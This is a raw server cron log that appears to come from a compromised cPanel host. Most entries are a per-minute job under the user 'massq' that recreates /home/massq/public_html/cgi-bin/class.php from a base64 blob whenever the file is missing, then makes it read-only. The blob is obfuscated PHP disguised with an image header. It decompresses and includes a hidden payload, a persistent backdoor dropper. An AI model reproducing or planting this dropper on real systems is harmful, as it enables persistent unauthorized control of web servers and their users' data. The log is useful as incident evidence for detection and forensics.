Nov 14 23:39:01 server CROND[28037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:39:01 server CROND[28038]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 23:40:01 server CROND[28939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:40:01 server CROND[28941]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:40:01 server CROND[28942]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 23:40:01 server CROND[28943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:41:01 server CROND[29871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:42:01 server CROND[30891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:42:01 server CROND[30892]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 23:43:01 server CROND[32006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:44:01 server CROND[432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:45:01 server CROND[1378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:45:01 server CROND[1377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:45:01 server CROND[1376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:46:01 server CROND[2342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:47:01 server CROND[3270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:48:01 server CROND[4285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:49:01 server CROND[5212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:50:01 server CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:50:01 server CROND[6162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 23:50:01 server CROND[6164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:50:01 server CROND[6161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:50:01 server CROND[6165]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 23:51:01 server CROND[7129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
